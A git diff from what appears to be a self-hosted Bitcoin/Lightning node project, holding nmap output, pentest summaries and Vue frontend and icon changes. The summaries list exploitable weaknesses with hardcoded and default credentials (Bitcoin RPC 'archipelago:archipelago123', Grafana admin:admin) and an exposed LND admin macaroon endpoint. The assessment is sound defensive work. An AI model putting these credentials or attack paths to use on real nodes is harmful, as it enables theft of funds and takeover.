SF:26\.2\.3\+f7a608703\">\n\x20\x20<meta\x20name=\"referrer\"\x20content=\
|
||||
SF:"no-referrer\">\n\x20\x20<meta\x20name=\"robots\"\x20content=\"noarchiv
|
||||
SF:e\">\n\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-widt
|
||||
SF:h,\x20initial-scale=1\">\n\x20\x20<title>SearXNG</ti");
|
||||
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
|
||||
SF-Port9000-TCP:V=7.98%I=7%D=3/18%Time=69BA8CB0%P=arm-apple-darwin23.6.0%r
|
||||
SF:(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
|
||||
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
|
||||
SF:d\x20Request")%r(GetRequest,CE,"HTTP/1\.0\x20307\x20Temporary\x20Redire
|
||||
SF:ct\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nLocation:\x20/tim
|
||||
SF:eout\.html\r\nDate:\x20Wed,\x2018\x20Mar\x202026\x2011:29:51\x20GMT\r\n
|
||||
SF:Content-Length:\x2049\r\n\r\n<a\x20href=\"/timeout\.html\">Temporary\x2
|
||||
SF:0Redirect</a>\.\n\n")%r(HTTPOptions,74,"HTTP/1\.0\x20307\x20Temporary\x
|
||||
SF:20Redirect\r\nLocation:\x20/timeout\.html\r\nDate:\x20Wed,\x2018\x20Mar
|
||||
SF:\x202026\x2011:29:51\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPReq
|
||||
SF:uest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/pl
|
||||
SF:ain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Requ
|
||||
SF:est")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x2
|
||||
SF:0text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad
|
||||
SF:\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
|
||||
SF:nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\
|
||||
SF:r\n\r\n400\x20Bad\x20Request")%r(FourOhFourRequest,109,"HTTP/1\.0\x2040
|
||||
SF:4\x20Not\x20Found\r\nCache-Control:\x20max-age=31536000\r\nContent-Type
|
||||
SF::\x20text/plain;\x20charset=utf-8\r\nVary:\x20Accept-Encoding\r\nX-Cont
|
||||
SF:ent-Type-Options:\x20nosniff\r\nX-Xss-Protection:\x201;\x20mode=block\r
|
||||
SF:\nDate:\x20Wed,\x2018\x20Mar\x202026\x2011:30:09\x20GMT\r\nContent-Leng
|
||||
SF:th:\x2019\r\n\r\n404\x20page\x20not\x20found\n")%r(LPDString,67,"HTTP/1
|
||||
SF:\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset
|
||||
SF:=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(SIPOpti
|
||||
SF:ons,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/pla
|
||||
SF:in;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Reque
|
||||
SF:st")%r(Socks5,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
|
||||
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
|
||||
SF:d\x20Request")%r(OfficeScan,A3,"HTTP/1\.1\x20400\x20Bad\x20Request:\x20
|
||||
SF:missing\x20required\x20Host\x20header\r\nContent-Type:\x20text/plain;\x
|
||||
SF:20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request:\x
|
||||
SF:20missing\x20required\x20Host\x20header");
|
||||
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
||||
|
||||
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||||
# Nmap done at Wed Mar 18 11:32:28 2026 -- 1 IP address (1 host up) scanned in 163.96 seconds
|
||||
|
||||
@@ -1,14 +1,26 @@
|
||||
Not critical — those app proxy paths were already confirmed through other probes. The full attack surface analysis is complete above.
|
||||
Written to `loop/pentest/recon/attack-surface-analysis.md`. Here's the executive summary:
|
||||
|
||||
**Summary of critical findings:**
|
||||
## 3 Critical Findings
|
||||
|
||||
1. **Zero authentication on the entire RPC API** — every method callable by anyone on the network
|
||||
2. **Arbitrary container image execution** — `package.install` pulls and runs any Docker image
|
||||
3. **Cryptographic key abuse** — `node.signChallenge` signs arbitrary data without auth (confirmed with live signature)
|
||||
4. **FileBrowser full access via default credentials** — `admin/admin` confirmed working with admin JWT
|
||||
5. **Unauthenticated Claude API proxy** — free API usage at owner's expense (confirmed)
|
||||
6. **P2P message injection** — spoofed messages already present in the message store
|
||||
7. **CORS wildcard** on all endpoints enables drive-by attacks from any website
|
||||
8. **Backend runs as root** with dev mode enabled in production
|
||||
1. **`/lnd-connect-info` exposes full LND admin macaroon** — unauthenticated, CORS `*`. Anyone on the LAN gets complete Lightning node control (send payments, drain channels). Confirmed live.
|
||||
|
||||
The most urgent remediation is wiring authentication middleware into the `core/archipelago` handler — the session infrastructure exists in `core/startos/` but is **not connected** to the active backend's request pipeline.
|
||||
2. **Bitcoin RPC proxy on :8334 with hardcoded creds** (`archipelago:archipelago123`) — confirmed full mainnet `getblockchaininfo` works. If wallet is loaded, attacker can send transactions and export keys.
|
||||
|
||||
3. **Grafana default `admin:admin` on port 3000** — confirmed full admin access. Can query data sources and potentially pivot.
|
||||
|
||||
## 3 High Findings
|
||||
|
||||
4. **`/content` leaks personal file catalog** (names, sizes, UUIDs) without auth
|
||||
5. **Nginx Proxy Manager (port 81)** directly accessible with `setup: false` state
|
||||
6. **Multiple service ports (3000, 3001, 7777, 8080, 9000)** bypass nginx proxy auth
|
||||
|
||||
## Key Positives
|
||||
|
||||
- Login rate limiting works (triggers at 5 attempts)
|
||||
- CORS properly rejects unauthorized origins
|
||||
- Session management is solid (256-bit tokens, HttpOnly, SameSite=Strict)
|
||||
- Path traversal mitigated (/.git, /.env not exposed)
|
||||
- Security headers comprehensive (HSTS, CSP, X-Frame-Options)
|
||||
- Bcrypt + Argon2id + ChaCha20 crypto stack is production-grade
|
||||
|
||||
The report covers **150+ RPC methods**, **30+ nginx proxy routes**, **10+ direct port services**, and all authentication mechanisms with confirmed live probes.
|
||||
1
loop/pentest/recon/whatweb.txt
Normal file
@@ -0,0 +1 @@
|
||||
http://192.168.1.228 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.22.1], IP[192.168.1.228], Script[module], Strict-Transport-Security[max-age=31536000; includeSubDomains], Title[Archipelago OS], UncommonHeaders[x-content-type-options,referrer-policy,permissions-policy,x-dns-prefetch-control,content-security-policy], X-Frame-Options[SAMEORIGIN], nginx[1.22.1]
|
||||
@@ -1,12 +1,16 @@
|
||||
Report written to `loop/pentest/security-assessment-report.md`.
|
||||
|
||||
**Summary of what's in the report:**
|
||||
**Summary: 27 findings** (8 Critical, 10 High, 6 Medium, 3 Low)
|
||||
|
||||
- **21 confirmed findings** across 4 severity levels (6 Critical, 7 High, 5 Medium, 3 Low)
|
||||
- Full exploitation evidence with request/response pairs for every finding
|
||||
- Root cause analysis showing AUTH-001 (no session management) as the single point of failure — fixing it blocks 15 of 21 findings
|
||||
- A documented attack chain demonstrating full node takeover in 6 curl commands
|
||||
- Prioritized remediation table (P0 within 48 hours through P2 within 1 month)
|
||||
- Appendix with excluded findings, technology inventory, and dependency tree of vulnerabilities
|
||||
The report includes:
|
||||
|
||||
The most critical takeaway: the existing session middleware in `core/startos/src/middleware/auth.rs` just needs to be wired into `core/archipelago/`'s HTTP handler. That single integration addresses the root cause of nearly every finding.
|
||||
- **Executive summary** with overall CRITICAL rating and top 3 recommendations
|
||||
- **Scope and methodology** covering nmap, source review, and live exploitation
|
||||
- **Full findings table** — 21 exploitation-confirmed + 6 recon-confirmed
|
||||
- **Detailed findings** — each with evidence (curl commands + responses), impact, and OWASP mapping
|
||||
- **Critical attack chain** — 7-step full compromise from any LAN device, zero auth
|
||||
- **Prioritized recommendations** — 20 remediation items across P0/P1/P2
|
||||
- **Positive security controls** — bcrypt, TOTP, session tokens, container security noted
|
||||
- **Appendices** — port inventory, container list, root cause tree, OWASP mapping, non-exploitable exclusions
|
||||
|
||||
The root cause is AUTH-001 (no session management). Fixing it addresses 15 of 27 findings. Combined with credential lockdown and port binding, 23 of 27 are resolved.
|
||||
@@ -82,7 +82,7 @@ define(['./workbox-21a80088'], (function (workbox) { 'use strict';
|
||||
"revision": "3ca0b8505b4bec776b69afdba2768812"
|
||||
}, {
|
||||
"url": "index.html",
|
||||
"revision": "0.h5o7c3cl7uo"
|
||||
"revision": "0.a4nevj6csc4"
|
||||
}], {});
|
||||
workbox.cleanupOutdatedCaches();
|
||||
workbox.registerRoute(new workbox.NavigationRoute(workbox.createHandlerBoundToURL("index.html"), {
|
||||
|
||||
1
neode-ui/public/assets/icon/barbarian.svg
Normal file
|
After Width: | Height: | Size: 5.9 KiB |
1
neode-ui/public/assets/icon/batteries.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewBox="0 0 512 512"><title xmlns="">batteries</title><path fill="currentColor" d="M168.063 21.844c-25.008 0-47.713 5.09-64.97 13.968c-16.938 8.716-29.722 21.962-30.187 38.626h-.03v93.625C59.258 180.325 46.9 197.92 37.75 219.032c-9.94 22.934-14.284 45.82-13 65.187c1.25 18.84 8.173 35.74 23 42.905l.344.156c.302.143.598.274.906.408l23.875 10.343v108.814h.03c.675 16.458 13.396 29.547 30.19 38.187c17.257 8.88 39.97 13.97 64.968 13.97c24.996 0 47.71-5.09 64.968-13.97c16.794-8.64 29.515-21.728 30.19-38.186h.03V420.56l42.844 18.563l.22.094l74.56 32.31l7.72 3.345l.844.375v-.03c15.48 6.212 32.73-.264 47.468-12.345c15.01-12.302 28.71-31.118 38.656-54.063c9.946-22.944 14.315-45.823 13.032-65.187c-1.26-19.01-8.33-36.01-23.438-43.063v-.03l-8.562-3.72L382.03 264.5l-118.78-51.47V76.97c.025-.53.03-1.06.03-1.595c0-.315-.02-.625-.03-.938c-.465-16.663-13.248-29.91-30.188-38.624c-17.256-8.88-39.992-13.97-65-13.97zM140.25 43.062c.03-.005.064.006.094 0c-6.743 3.237-10.906 7.637-10.906 12.5c0 9.93 17.292 17.97 38.625 17.97s38.625-8.04 38.625-17.97c0-4.863-4.164-9.263-10.907-12.5c11.11 2.093 20.927 5.366 28.72 9.376c13.818 7.11 20.094 15.646 20.094 22.937c0 7.29-6.276 15.797-20.094 22.906c-13.818 7.11-34.028 11.907-56.438 11.907s-42.62-4.797-56.437-11.906c-13.818-7.108-20.063-15.614-20.063-22.905c0-7.29 6.245-15.828 20.063-22.938c7.772-3.998 17.554-7.28 28.625-9.374zM72.875 195.656v122l-16.438-7.125c-6.678-2.894-12.003-12.02-13.03-27.53c-1.03-15.51 2.593-35.983 11.5-56.53c5.082-11.73 11.316-22.17 17.968-30.814zm171.688 1.75V445.47c0 7.278-6.24 15.825-20.063 22.936s-34.042 11.906-56.438 11.906c-22.395 0-42.615-4.794-56.437-11.906c-13.822-7.11-20.063-15.658-20.063-22.937V200.31L145.375 280l-36.844 12.875L229.75 420.25l-51.72-105.78l23.907-11.845l-40.156-84.188c2.082.073 4.168.125 6.282.125c24.997 0 47.71-5.09 64.97-13.968c4.134-2.128 8.008-4.537 11.53-7.188m18.687 36l79 34.25l-79 14.78zm187.97 82.78c2.094.035 3.983.433 5.655 1.158c6.69 2.9 12.035 12.026 13.063 27.53c.577 8.715-.333 18.995-2.813 29.97c-.305-7.425-2.682-12.95-7.125-14.875c-9.11-3.95-23.39 8.707-31.875 28.28s-7.953 38.645 1.156 42.594c4.45 1.928 10.12-.104 15.75-4.97c-6.316 9.33-13.207 17.023-19.967 22.563c-12.02 9.85-22.342 12.18-29.032 9.282c-6.688-2.9-12.034-12.027-13.06-27.533c-1.03-15.505 2.618-35.94 11.53-56.5s21.357-37.21 33.375-47.062c9.014-7.388 17.058-10.537 23.344-10.438zm-153.5 8.658c-.9 1.89-1.78 3.8-2.626 5.75c-9.94 22.935-14.315 45.79-13.03 65.156c.307 4.65.966 9.173 1.998 13.47l-20.812-9v-74.126z"/></svg>
|
||||
|
After Width: | Height: | Size: 2.5 KiB |
1
neode-ui/public/assets/icon/bitcoin.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewBox="0 0 24 24"><title xmlns="">bitcoin</title><path fill="currentColor" d="M13 3h2v2h2v2H9v4h8v2H9v4h8v2h-2v2h-2v-2h-2v2H9v-2H5v-2h2v-4H5v-2h2V7H5V5h4V3h2v2h2zm4 14v-4h2v4zm0-6V7h2v4z"/></svg>
|
||||
|
After Width: | Height: | Size: 262 B |
1
neode-ui/public/assets/icon/cloud-done.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewBox="0 0 24 24"><title xmlns="">cloud-done</title><path fill="currentColor" d="M16 4h-6v2H8v2H4v2H2v2H0v6h2v2h20v-2h2v-6h-2v-2h-2V8h-2V6h-2zm0 2v2h2v4h4v6H2v-6h2v-2h4V8h2V6zm-6 6H8v2h2v2h2v-2h2v-2h2v-2h-2v2h-2v2h-2z"/></svg>
|
||||
|
After Width: | Height: | Size: 293 B |
1
neode-ui/public/assets/icon/cloud-moon.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewBox="0 0 24 24"><title xmlns="">cloud-moon</title><path fill="currentColor" d="M18 2h-8v2H8v2H6v4h2V6h2V4h4v2h-2v4h2v2h4v-2h2v4h-2v2h2v-2h2V6h-2v2h-2v2h-4V6h2V4h2zM8 14v-2h4v2zm0 2v-2H4v2H2v4h2v2h10v-2h2v-4h-2v-2h-2v2h2v4H4v-4zm0 0h2v2H8z"/></svg>
|
||||
|
After Width: | Height: | Size: 316 B |
1
neode-ui/public/assets/icon/debug-off.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewBox="0 0 24 24"><title xmlns="">debug-off</title><path fill="currentColor" d="M16 2h2v2h-2zm4 7h-2V6h-2V4h-2v2h-2v2h4v5h2v2h4v-2h-4v-2h2zm0 0V7h2v2zM8 20v-9H6V9H4V7H2v2h2v2h2v2H2v2h4v2H4v2H2v2h2v-2h2v3h10v-2zm2-5h2v2h-2zM2 2h2v2H2zm4 4H4V4h2zm2 2H6V6h2zm2 2H8V8h2zm0 0v2h2v2h2v2h2v2h2v2h2v2h2v-2h-2v-2h-2v-2h-2v-2h-2v-2h-2v-2z"/></svg>
|
||||
|
After Width: | Height: | Size: 404 B |
1
neode-ui/public/assets/icon/fill-half.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewBox="0 0 24 24"><title xmlns="">fill-half</title><path fill="currentColor" d="M9 2h2v2H9zm4 4V4h-2v2H9v2H7v2H5v2H3v2h2v2h2v2h2v2h2v2h2v-2h2v-2h2v-2h2v6h2V12h-2v-2h-2V8h-2V6zm0 0v2h2v2h2v2h2v2H5v-2h2v-2h2V8h2V6z"/></svg>
|
||||
|
After Width: | Height: | Size: 288 B |
1
neode-ui/public/assets/icon/github.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewBox="0 0 24 24"><title xmlns="">github</title><path fill="currentColor" d="M5 2h4v2H7v2H5zm0 10H3V6h2zm2 2H5v-2h2zm2 2v-2H7v2H3v-2H1v2h2v2h4v4h2v-4h2v-2zm0 0v2H7v-2zm6-12v2H9V4zm4 2h-2V4h-2V2h4zm0 6V6h2v6zm-2 2v-2h2v2zm-2 2v-2h2v2zm0 2h-2v-2h2zm0 0h2v4h-2z"/></svg>
|
||||
|
After Width: | Height: | Size: 334 B |
1
neode-ui/public/assets/icon/paint-bucket.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewBox="0 0 24 24"><title xmlns="">paint-bucket</title><path fill="currentColor" d="M8 3h8v2H8zm0 2H6v4H4v12h16V9h-2V5h-2v4H8zm8 6h2v8H6v-8h2v6h2v-4h2v2h2v-2h2z"/></svg>
|
||||
|
After Width: | Height: | Size: 235 B |
1
neode-ui/public/assets/icon/save.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewBox="0 0 24 24"><title xmlns="">save</title><path fill="currentColor" d="M4 2h14v2H4v16h2v-6h12v6h2V6h2v16H2V2zm4 18h8v-4H8zM20 6h-2V4h2zM6 6h9v4H6z"/></svg>
|
||||
|
After Width: | Height: | Size: 226 B |
@@ -176,12 +176,13 @@ onMounted(async () => {
|
||||
window.addEventListener('touchstart', onUserActivity)
|
||||
const seenIntro = localStorage.getItem('neode_intro_seen') === '1'
|
||||
const isDirectRoute = route.path !== '/'
|
||||
const fromBoot = route.query.intro === '1'
|
||||
const fromBoot = sessionStorage.getItem('archipelago_from_boot') === '1'
|
||||
if (fromBoot) sessionStorage.removeItem('archipelago_from_boot')
|
||||
if (import.meta.env.DEV) console.log('[App] onMounted — seenIntro:', seenIntro, 'fromBoot:', fromBoot)
|
||||
|
||||
if (fromBoot && !seenIntro) {
|
||||
// Coming from boot screen — show the full splash intro
|
||||
// Coming from boot screen — show the full splash intro (Enter to Exit → typing → logo)
|
||||
showSplash.value = true
|
||||
// SplashScreen will emit 'complete' → handleSplashComplete
|
||||
} else if (!seenIntro && !isDirectRoute && import.meta.env.VITE_DEV_MODE !== 'boot') {
|
||||
// Normal first visit (not boot mode) — show splash intro
|
||||
showSplash.value = true
|
||||
|
||||
@@ -21,6 +21,7 @@ function getCsrfToken(): string | null {
|
||||
}
|
||||
|
||||
class RPCClient {
|
||||
private static _sessionExpiredRedirecting = false
|
||||
private baseUrl: string
|
||||
|
||||
constructor(baseUrl: string = '/rpc/v1') {
|
||||
@@ -55,9 +56,16 @@ class RPCClient {
|
||||
clearTimeout(timeoutId)
|
||||
|
||||
if (!response.ok) {
|
||||
// Session expired — redirect to login
|
||||
// Session expired — debounced redirect to login
|
||||
// Use a single shared timeout to prevent redirect storms when
|
||||
// multiple parallel requests all get 401 at once
|
||||
if (response.status === 401 && method !== 'auth.login') {
|
||||
if (!RPCClient._sessionExpiredRedirecting) {
|
||||
RPCClient._sessionExpiredRedirecting = true
|
||||
setTimeout(() => {
|
||||
window.location.href = '/login'
|
||||
}, 300)
|
||||
}
|
||||
throw new Error('Session expired')
|
||||
}
|
||||
const err = new Error(`HTTP ${response.status}: ${response.statusText}`)
|
||||
|
||||
@@ -1,14 +1,13 @@
|
||||
<template>
|
||||
<Transition name="boot-fade">
|
||||
<div v-if="visible" class="boot-screen" @click="handleClick">
|
||||
<div v-if="visible" class="boot-screen">
|
||||
<!-- Particle starfield -->
|
||||
<canvas ref="canvasRef" class="boot-stars" />
|
||||
|
||||
<!-- Two-column layout: terminal left, orb right -->
|
||||
<div class="boot-layout" :class="{ 'boot-layout-centered': bootDone }">
|
||||
<!-- Left: Terminal log (fades out when done) -->
|
||||
<Transition name="terminal-fade">
|
||||
<div v-if="!bootDone" class="boot-left">
|
||||
<div class="boot-layout">
|
||||
<!-- Left: Terminal log -->
|
||||
<div class="boot-left">
|
||||
<div class="boot-terminal" ref="terminalRef">
|
||||
<p v-for="(line, i) in logLines" :key="i" class="boot-log-line" :class="line.type">
|
||||
<span class="boot-log-ts">{{ line.prefix }}</span>
|
||||
@@ -22,19 +21,18 @@
|
||||
<rect x="0" y="4" :width="progress * 2" height="4" rx="2" fill="url(#boot-grad)" />
|
||||
<defs>
|
||||
<linearGradient id="boot-grad" x1="0" y1="0" x2="200" y2="0" gradientUnits="userSpaceOnUse">
|
||||
<stop offset="0" stop-color="#fb923c" />
|
||||
<stop offset="1" stop-color="#f59e0b" />
|
||||
<stop offset="0" stop-color="rgba(255,255,255,0.5)" />
|
||||
<stop offset="1" stop-color="rgba(255,255,255,0.9)" />
|
||||
</linearGradient>
|
||||
</defs>
|
||||
</svg>
|
||||
<span class="boot-pct">{{ Math.round(progress) }}%</span>
|
||||
</div>
|
||||
</div>
|
||||
</Transition>
|
||||
|
||||
<!-- Right (or center when done): The orb / screensaver -->
|
||||
<!-- Right: The orb -->
|
||||
<div class="boot-right">
|
||||
<div class="boot-orb" :class="{ 'boot-orb-screensaver': bootDone }">
|
||||
<div class="boot-orb">
|
||||
<!-- Viz ring segments -->
|
||||
<div class="boot-viz-ring">
|
||||
<div
|
||||
@@ -46,33 +44,25 @@
|
||||
/>
|
||||
</div>
|
||||
|
||||
<!-- Center: screensaver-style bordered frame with pixel icon / logo -->
|
||||
<!-- Center: gradient-bordered frame with cycling icons -->
|
||||
<div class="boot-center-icon">
|
||||
<div class="logo-gradient-border boot-icon-frame">
|
||||
<div class="boot-icon-inner">
|
||||
<div class="boot-icon-frame boot-gradient-border">
|
||||
<Transition name="icon-morph" mode="out-in">
|
||||
<div v-if="!bootDone" :key="currentIcon" class="boot-pixel-wrap" :class="{ 'boot-glitch': glitching }">
|
||||
<div v-html="sanitizedIcon" />
|
||||
</div>
|
||||
<div v-else key="logo" class="boot-logo-inner-logo">
|
||||
<AnimatedLogo size="xl" no-border fit />
|
||||
<div :key="currentIcon" class="boot-pixel-wrap" :class="{ 'boot-glitch': glitching }">
|
||||
<img :src="iconSources[currentIcon]" class="boot-icon-img" />
|
||||
</div>
|
||||
</Transition>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</Transition>
|
||||
</template>
|
||||
|
||||
<script setup lang="ts">
|
||||
import { ref, computed, onMounted, onBeforeUnmount, nextTick, watch } from 'vue'
|
||||
import DOMPurify from 'dompurify'
|
||||
import AnimatedLogo from '@/components/AnimatedLogo.vue'
|
||||
import { ref, onMounted, onBeforeUnmount, nextTick, watch } from 'vue'
|
||||
|
||||
const props = defineProps<{ visible: boolean }>()
|
||||
const emit = defineEmits<{ ready: [] }>()
|
||||
@@ -80,61 +70,19 @@ const emit = defineEmits<{ ready: [] }>()
|
||||
const canvasRef = ref<HTMLCanvasElement | null>(null)
|
||||
const terminalRef = ref<HTMLElement | null>(null)
|
||||
|
||||
const bootDone = ref(false)
|
||||
const currentIcon = ref(0)
|
||||
const progress = ref(0)
|
||||
const litBars = ref(0)
|
||||
const glitching = ref(false)
|
||||
|
||||
// 16x16 pixel art icons
|
||||
const icons = [
|
||||
// Big smiley — warm and friendly
|
||||
`<svg viewBox="0 0 16 16" class="boot-svg">
|
||||
<rect x="4" y="5" width="2" height="3" fill="white"/>
|
||||
<rect x="10" y="5" width="2" height="3" fill="white"/>
|
||||
<rect x="4" y="5" width="2" height="1" fill="rgba(255,255,255,0.5)"/>
|
||||
<rect x="10" y="5" width="2" height="1" fill="rgba(255,255,255,0.5)"/>
|
||||
<rect x="3" y="10" width="2" height="1" fill="white"/>
|
||||
<rect x="11" y="10" width="2" height="1" fill="white"/>
|
||||
<rect x="5" y="11" width="6" height="1" fill="white"/>
|
||||
</svg>`,
|
||||
// Bitcoin
|
||||
`<svg viewBox="0 0 16 16" class="boot-svg">
|
||||
<rect x="5" y="1" width="2" height="2" fill="#f7931a"/><rect x="9" y="1" width="2" height="2" fill="#f7931a"/>
|
||||
<rect x="4" y="3" width="2" height="10" fill="#f7931a"/><rect x="6" y="3" width="4" height="2" fill="#f7931a"/>
|
||||
<rect x="10" y="4" width="2" height="3" fill="#f7931a"/><rect x="6" y="7" width="4" height="2" fill="#f7931a"/>
|
||||
<rect x="10" y="8" width="2" height="4" fill="#f7931a"/><rect x="6" y="11" width="4" height="2" fill="#f7931a"/>
|
||||
<rect x="5" y="13" width="2" height="2" fill="#f7931a"/><rect x="9" y="13" width="2" height="2" fill="#f7931a"/>
|
||||
</svg>`,
|
||||
// Lightning
|
||||
`<svg viewBox="0 0 16 16" class="boot-svg">
|
||||
<rect x="8" y="0" width="3" height="3" fill="#fbbf24"/><rect x="6" y="3" width="3" height="3" fill="#fbbf24"/>
|
||||
<rect x="4" y="6" width="8" height="2" fill="#fbbf24"/><rect x="7" y="8" width="3" height="3" fill="#fbbf24"/>
|
||||
<rect x="5" y="11" width="3" height="3" fill="#fbbf24"/><rect x="3" y="14" width="3" height="2" fill="#fbbf24"/>
|
||||
</svg>`,
|
||||
// Shield
|
||||
`<svg viewBox="0 0 16 16" class="boot-svg">
|
||||
<rect x="3" y="1" width="10" height="2" fill="#60a5fa"/><rect x="2" y="3" width="2" height="7" fill="#60a5fa"/>
|
||||
<rect x="12" y="3" width="2" height="7" fill="#60a5fa"/><rect x="4" y="10" width="2" height="2" fill="#60a5fa"/>
|
||||
<rect x="10" y="10" width="2" height="2" fill="#60a5fa"/><rect x="6" y="12" width="4" height="2" fill="#60a5fa"/>
|
||||
<rect x="7" y="5" width="2" height="4" fill="white" opacity="0.5"/><rect x="6" y="6" width="4" height="2" fill="white" opacity="0.5"/>
|
||||
</svg>`,
|
||||
// Key
|
||||
`<svg viewBox="0 0 16 16" class="boot-svg">
|
||||
<circle cx="5" cy="6" r="3" fill="none" stroke="#4ade80" stroke-width="1.5"/>
|
||||
<rect x="7" y="5" width="7" height="2" fill="#4ade80"/>
|
||||
<rect x="12" y="7" width="2" height="2" fill="#4ade80"/><rect x="10" y="7" width="2" height="2" fill="#4ade80"/>
|
||||
</svg>`,
|
||||
// Mesh nodes
|
||||
`<svg viewBox="0 0 16 16" class="boot-svg">
|
||||
<circle cx="8" cy="8" r="2" fill="white"/>
|
||||
<circle cx="3" cy="3" r="1.5" fill="#a78bfa"/><circle cx="13" cy="3" r="1.5" fill="#a78bfa"/>
|
||||
<circle cx="3" cy="13" r="1.5" fill="#a78bfa"/><circle cx="13" cy="13" r="1.5" fill="#a78bfa"/>
|
||||
<line x1="8" y1="8" x2="3" y2="3" stroke="#a78bfa" stroke-width="0.5" opacity="0.5"/>
|
||||
<line x1="8" y1="8" x2="13" y2="3" stroke="#a78bfa" stroke-width="0.5" opacity="0.5"/>
|
||||
<line x1="8" y1="8" x2="3" y2="13" stroke="#a78bfa" stroke-width="0.5" opacity="0.5"/>
|
||||
<line x1="8" y1="8" x2="13" y2="13" stroke="#a78bfa" stroke-width="0.5" opacity="0.5"/>
|
||||
</svg>`,
|
||||
// Boot screen icons — from /assets/icon/ directory
|
||||
const iconSources = [
|
||||
'/assets/icon/bitcoin.svg',
|
||||
'/assets/icon/cloud-done.svg',
|
||||
'/assets/icon/github.svg',
|
||||
'/assets/icon/save.svg',
|
||||
'/assets/icon/batteries.svg',
|
||||
'/assets/icon/barbarian.svg',
|
||||
]
|
||||
|
||||
interface LogLine { prefix: string; text: string; type: string }
|
||||
@@ -159,8 +107,6 @@ const bootMessages = [
|
||||
{ delay: 23500, prefix: '***', text: 'ALL SYSTEMS OPERATIONAL', type: 'ready' },
|
||||
]
|
||||
|
||||
const sanitizedIcon = computed(() => DOMPurify.sanitize(icons[currentIcon.value] || '', { USE_PROFILES: { svg: true } }))
|
||||
|
||||
// Starfield
|
||||
let animFrame = 0
|
||||
const stars: { x: number; y: number; z: number }[] = []
|
||||
@@ -191,15 +137,6 @@ function drawStars(c: HTMLCanvasElement, ctx: CanvasRenderingContext2D) {
|
||||
|
||||
function triggerGlitch() { glitching.value = true; setTimeout(() => { glitching.value = false }, 200) }
|
||||
|
||||
function handleClick() {
|
||||
if (!bootDone.value) return
|
||||
// Clear intro flag so App.vue's SplashScreen plays the full intro sequence
|
||||
localStorage.removeItem('neode_intro_seen')
|
||||
// Also clear onboarding flag so it goes through onboarding after intro
|
||||
localStorage.removeItem('neode_onboarding_complete')
|
||||
emit('ready')
|
||||
}
|
||||
|
||||
// Health check
|
||||
async function checkHealth(): Promise<boolean> {
|
||||
try {
|
||||
@@ -221,10 +158,11 @@ let logTimeouts: ReturnType<typeof setTimeout>[] = []
|
||||
|
||||
function startPolling() {
|
||||
iconInterval = setInterval(() => {
|
||||
if (!bootDone.value) { currentIcon.value = (currentIcon.value + 1) % icons.length; triggerGlitch() }
|
||||
currentIcon.value = (currentIcon.value + 1) % iconSources.length
|
||||
triggerGlitch()
|
||||
}, 2500)
|
||||
|
||||
// Feed boot log messages — the visual sequence drives the timeline
|
||||
// Feed boot log messages
|
||||
const lastMsgDelay = bootMessages[bootMessages.length - 1]!.delay
|
||||
for (const msg of bootMessages) {
|
||||
logTimeouts.push(setTimeout(() => {
|
||||
@@ -237,23 +175,29 @@ function startPolling() {
|
||||
}, msg.delay))
|
||||
}
|
||||
|
||||
// After the last message, start polling for real server readiness
|
||||
// (visual sequence must complete before we transition)
|
||||
// After the last message, poll for server readiness then immediately transition
|
||||
let finished = false
|
||||
logTimeouts.push(setTimeout(() => {
|
||||
// In dev/mock mode the server may already be ready — check and complete
|
||||
const finishBoot = () => {
|
||||
if (finished) return
|
||||
finished = true
|
||||
stopPolling()
|
||||
progress.value = 100
|
||||
litBars.value = 48
|
||||
setTimeout(() => { bootDone.value = true }, 1200)
|
||||
if (import.meta.env.DEV) console.log('[Boot] finishBoot — emitting ready in 800ms')
|
||||
setTimeout(() => {
|
||||
if (import.meta.env.DEV) console.log('[Boot] emitting ready now')
|
||||
emit('ready')
|
||||
}, 800)
|
